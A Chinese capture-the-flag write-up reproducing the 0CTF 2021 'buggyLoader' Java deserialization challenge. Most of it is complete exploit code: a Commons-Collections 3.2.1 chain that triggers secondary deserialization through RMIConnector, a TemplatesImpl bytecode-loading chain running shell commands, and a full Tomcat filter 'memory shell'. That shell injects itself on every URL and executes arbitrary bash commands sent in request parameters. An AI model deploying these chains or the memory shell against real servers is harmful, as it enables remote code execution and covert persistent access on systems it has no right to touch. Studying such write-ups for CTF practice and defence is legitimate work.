0CTF-buggloader复现
题目环境:
https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2021-final/buggyLoader
参考:
- Y4er师傅的内存马
- B站白日梦组长的视频降解
solving
题目分析
pom.xml中的依赖就有一个cc的3.2.1
/basic路由下有反序列化的点
public class IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
String name = myObjectInputStream.readUTF();
int year = myObjectInputStream.readInt();
if (name.equals("SJTU") && year == 1896)
myObjectInputStream.readObject();
return "index";
}
}
具体看看MyObjectinputStream,重写了resolveClass并使用URLClassLoader来加载类对象
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}
原本的ObjectInputStream使用forName来获取类对象,现在主要就是要明白目前的URLClassLoader加载类对象有什么特点。
可以看的MyObjectInputStream#resolveClass中最后使用ClassLoader#loadClass来获取类对象,使用该方法获取类对象不能加载原生类型和数组类型。不能加载数组这个在shiro550中遇到过,我们最后使用CC6+CC2或者CB链来解决的。但是使用shiro的无数组链来打其实并不能成功,会触发报错。原因就在于shiro中涉及的类的加载有很多方式(不同的类有不同获取类对象方式),而在这里只有ClassLoader#loadClass这一种方式,它完全要求我们不能有数组出现。
二次反序列化 RMIConnector#connect()
这里就要引出一种非常好的解决方式了:二次反序列化。挖掘二次反序列化的类我们可以使用CodeQL,在一方面我们就要靠积累了;这位师傅总结了二次反序列化的类,除此之外还要java.security.SignedObject#getObject也常用。但是这里SignedObject也不可以使用,它的content属性是一个字节数组
public final class SignedObject implements Serializable {
private static final long serialVersionUID = 720502720485447167L;
private byte[] content;
private byte[] signature;
private String thealgorithm;
javax.management.remote.rmi.RMIConnector#connect() 它的调用链比较长
javax.management.remote.rmi.RMIConnector#connect()
javax.management.remote.rmi.RMIConnector#connect(Map<String,?> environment)
-javax.management.remote.rmi.RMIConnector#findRMIServer(JMXServiceURL directoryURL, Map<String, Object> environment)
-javax.management.remote.rmi.RMIConnector#findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
编写方式在网上找一个例子按着来就可以
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + ip + ":" + port + payload);
RMIConnector rmiConnector = new RMIConnector(url, null);
rmiConnector.connect();
Gadget编写
然后就是写二次反序列化前后的代码
- 二次反序列化前要求能触发
javax.management.remote.rmi.RMIConnector#connect()的链子就行 - 二次反序列化后能动态加载字节码就可以
exp: 二次反序列化前的链子
package TCTF;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static String string="";
public static void main(String[] args) throws Exception {
String exp = "";
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://127.0.0.1:8888/stub/"+exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
InvokerTransformer invokerTransformer = (InvokerTransformer) InvokerTransformer.getInstance("connect");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,rmiConnector);
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,123);
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory",invokerTransformer);
//serialize(hashMap);
TCTF_serialize(hashMap);
System.out.println(string);
//unserialize();
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getCalcBytes();
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static byte[] getEvilBytes() throws Exception{
//byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"touch /tmp/hello\"});");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static byte[] getCalcBytes() throws Exception {
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void TCTF_serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(object);
string = Utils.bytesTohexString(byteArrayOutputStream.toByteArray());
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
payload: 二次反序列后的链子
package TCTF;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Payload {
private static String string="";
public static void main(String[] args) throws Exception {
TemplatesImpl tempalteslmpl = (TemplatesImpl) getTempalteslmpl();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tempalteslmpl });
ConstantTransformer constantTransformer = new ConstantTransformer(1);
HashMap innerMap = new HashMap();
DefaultedMap outerMap = (DefaultedMap) DefaultedMap.decorate(innerMap,constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
HashMap expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(outerMap,"value",instantiateTransformer);
serialize(expMap);
System.out.println(string);
unserialize();
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static byte[] getEvilBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get("TCTF.TomcatFilterMemShellFromThread").toBytecode();
// ClassPool classPool = new ClassPool(true);
// CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
// CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// helloAbstractTranslet.setSuperclass(ctClass);
// CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
// ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"touch /tmp/hello\"});");
// helloAbstractTranslet.addConstructor(ctConstructor);
// byte[] bytes = helloAbstractTranslet.toBytecode();
// helloAbstractTranslet.detach();
return bytes;
}
public static byte[] getCalcBytes() throws Exception {
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
MemShell内存马
这里直接使用了Y4er师傅的Filter内存马,原本想使用TomcatListenerMemShellFromJMX的内存马结果打入失败(原因我也不知道)
TomcatFilterMemShellFromThread:
package TCTF;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
static {
try {
final String name = "MyFilterVersion" + System.nanoTime();
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Class<? extends StandardContext> aClass = null;
try {
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("c") != null){
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null){
sb.append(line + System.getProperty("line.separator"));
}
servletResponse.getWriter().write(new String(sb));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}


浙公网安备 33010602011771号